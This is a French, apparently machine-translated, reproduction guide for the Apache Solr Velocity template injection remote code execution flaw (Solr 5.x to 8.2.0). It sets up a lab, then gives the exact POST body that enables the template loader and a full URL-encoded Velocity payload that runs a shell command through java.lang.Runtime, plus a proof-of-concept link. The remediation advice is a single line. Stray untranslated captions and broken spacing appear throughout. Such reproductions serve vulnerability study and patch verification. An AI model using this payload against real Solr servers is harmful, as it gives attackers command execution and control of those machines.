Maison  >  Article  >  Opération et maintenance  >  Exemple d'analyse de la vulnérabilité RCE d'injection de modèle de vitesse Apache Solr

Exemple d'analyse de la vulnérabilité RCE d'injection de modèle de vitesse Apache Solr

WBOY
WBOYavant
2023-05-19 10:37:13922parcourir

0x01 Introduction

Solr est un serveur d'applications de recherche indépendant au niveau de l'entreprise qui peut fournir des services externes via l'interface API du service Web. Les utilisateurs peuvent soumettre des fichiers XML dans un certain format au serveur du moteur de recherche via des requêtes http pour générer des index ; ils peuvent également effectuer des requêtes de recherche via des opérations Http Get et obtenir les résultats renvoyés au format XML. Apache Solr velocity模板注入RCE漏洞的示例分析

0x02 Vulnerability Introduction

Il existe un composant VelocityResponseWriter dans Solr. Un attaquant peut construire une requête spécifique pour modifier la configuration appropriée, afin que le composant VelocityResponseWriter permette le chargement du modèle spécifié, ce qui conduit à son tour à la vulnérabilité d'exécution de commande à distance par injection de modèle Velocity. L'attaquant exploite cette vulnérabilité. Il peut obtenir directement les autorisations du serveur.

0x03 Portée d'influence

Apache Solr 5.x - 8.2.0, il existe une version API de configuration

0x04 Configuration de l'environnement

Installez l'environnement java8, puis téléchargez Solr, téléchargez adresse :

https://www.apache.org/dyn/closer.lua/lucene/solr/8.2.0/solr-8.2.0.zip

Après le téléchargement, décompressez-le et entrez dans le répertoire bin pour l'exécuter. /solr start

unzip solr- 8.2.0.zip

Apache Solr velocity模板注入RCE漏洞的示例分析

Certains messages d'avertissement apparaîtront au démarrage. Nous pouvons les éliminer en modifiant le fichier solr.in.sh sous bin et en définissant SOLR_ULIMIT_CHECKS sur false

vim solr. .in.sh

Apache Solr velocity模板注入RCE漏洞的示例分析

Puis recommencez./solr start Si le démarrage root échoue, ajoutez -force à la finApache Solr velocity模板注入RCE漏洞的示例分析

Visitez http://ip:8983 dans le navigateur, l'interface suivante apparaît pour indiquer le succès installationApache Solr velocity模板注入RCE漏洞的示例分析

Mais j'ai trouvé que Core ne peut pas être crééApache Solr velocity模板注入RCE漏洞的示例分析

Nous créons d'abord manuellement un dossier new_core dans le répertoire /server/solr/, puis copions le répertoire conf sous /server/solr/configsets/_default/ dans le répertoire new_core, puis cliquez sur CréerApache Solr velocity模板注入RCE漏洞的示例分析

Récurrence de vulnérabilité 0x05

Après avoir créé le Core, visitez pour voir si le fichier de configuration de l'application est accessible

http://ip:8983/solr/new_core/configApache Solr velocity模板注入RCE漏洞的示例分析

Apache Solr intègre le plug-in VelocityResponseWriter par défaut. La valeur par défaut de params.resource.loader.enabled dans le paramètre d'initialisation du plug-in est définie sur false, mais les paramètres d'intégration peuvent être directement modifiés via une requête POST, définie sur true. , puis une requête GET spéciale peut être construite pour réaliser l'exécution de code à distance.

Utilisez Burp pour récupérer le package de cette page, construisez directement une requête POST et ajoutez les données suivantes

{

"update-queryresponsewriter": {

"startup": "lazy",

"name" : "velocity" ,

"class": "solr.VelocityResponseWriter",

"template.base.dir": "",

"solr.resource.loader.enabled": "true",

"params .resource.loader .enabled": "true"

}

}

Apache Solr velocity模板注入RCE漏洞的示例分析

Ensuite, nous pouvons construire la charge utile pour implémenter RCE

charge utile :

http://ip:8983/solr/test/select ?q= 1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27)) +%23set ($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+% 23set($ ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[ 1.. $out.available()])$str.valueOf($chr.toChars($out.read()))%23end

Apache Solr velocity模板注入RCE漏洞的示例分析

Adresse POC : https://github.com/wyzxxz/Apache_Solr_RCE_via_Velocity_template

Méthode de correction 0x06

Mise à jour vers la dernière version

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration:
Cet article est reproduit dans:. en cas de violation, veuillez contacter admin@php.cn Supprimer